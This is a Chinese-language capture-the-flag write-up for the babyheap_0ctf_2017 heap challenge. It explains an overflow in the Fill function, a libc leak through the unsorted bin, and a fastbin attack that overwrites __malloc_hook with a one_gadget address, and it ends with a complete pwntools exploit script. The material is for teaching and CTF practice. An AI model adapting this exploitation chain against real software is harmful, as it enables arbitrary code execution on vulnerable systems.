babyheap_0ctf_2017

babyheap_0ctf_2017
文章图片

保护全开,一般就是堆题了,没有符号表
babyheap_0ctf_2017
文章图片

【babyheap_0ctf_2017】我们特别看一下填充的地方,Fill时候输入的size直接传入read函数,所以存在溢出。
babyheap_0ctf_2017
文章图片

利用思路:

  • 利用unsorted bin地址泄露libc基地址
  • 利用 fastbin attack将chunk分配到malloc_hook附近
首先我们要分析一下如何才能读取到unsorted bin的地址,因为unsoted bin是一个双向链表的结构,存在fd指针和bk指针,我们知道只有在chunk处于free的状态才会存在fd和bk指针,但是我们又要能拿到这个数据?答案就是一个双重指针,两个指针可以访问同一个位置,一个指针已经将这块内存给free掉了,free的指针就会使得bk和fd位置被写入数据,但是另一个指针还可以正常使用,正常使用的指针就能够读取到fd和bk位置的数据了。
拿到unsorted bin的地址后,(与main_arena的偏移为0x58,与libc的偏移为0x3c4b20)就可以拿到libc的基地址。
接下来就是利用fastbin将chunk分配到malloc_hook的位置(该hook位置当每次执行malloc一类函数时都一定会调用),对该位置进行shell写入,当再调用allocate时,就会执行我们的shell拿到权限!
下图是main_arena的结构,从图中可以看到unsorted bin相对于main_arena的偏移
babyheap_0ctf_2017
文章图片

下图是伪造的chunk位置,需要对该__malloc_hook位置进行写入操作
babyheap_0ctf_2017
文章图片

exp
from pwn import *context(log_level ='debug') porc_name = './babyheap_0ctf_2017' libc = ELF('./libc-2.23.64.so') p = process(porc_name) print(proc.pidof(p)) # p = remote('node3.buuoj.cn', 29322)def allocate(size): p.recvuntil('Command:') p.sendline('1'.encode()) p.sendline(str(size)) def fill(index, content): p.recvuntil('Command:') p.sendline('2'.encode()) p.sendline(str(index)) p.sendline(str(len(content))) p.sendline(content)def free(index): p.recvuntil('Command:') p.sendline('3'.encode()) p.sendline(str(index)) def dump(index): p.recvuntil('Command:') p.sendline('4'.encode()) p.sendline(str(index)) p.recvuntil('Content:')log.success('libc_address')allocate(0x10) # chunk 0 allocate(0x10) # chunk 1 allocate(0x100) # chunk 2 fill(0, 'a'.encode() * 0x10 + p64(0) + p64(0x41)) fill(2, 'b'.encode() * 0x10 + p64(0) + p64(0x111)) free(1) allocate(0x30) fill(1, 'c'.encode() * 0x10 + p64(0) + p64(0x111)) allocate(0x100) # chunk 3 free(2) dump(1) main_arena_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58 print(main_arena_addr) libc_base = main_arena_addr - 0x3c4b20log.success('fake_chunk') malloc_hook_addr = libc_base + libc.sym['__malloc_hook'] fake_chunk = malloc_hook_addr - 0x23 print(fake_chunk) allocate(0x60) #2 allocate(0x60) #4 free(4) fill(2, 'a'.encode() * 0x60 + p64(0) +p64(0x71) + p64(fake_chunk)) allocate(0x60) allocate(0x60) # 5 # pause() one_gadget_addr = libc_base + 0x4526a fill(5, 'a'.encode() * 0x13 + p64(one_gadget_addr)) allocate(0x110) p.interactive()

babyheap_0ctf_2017
文章图片

    推荐阅读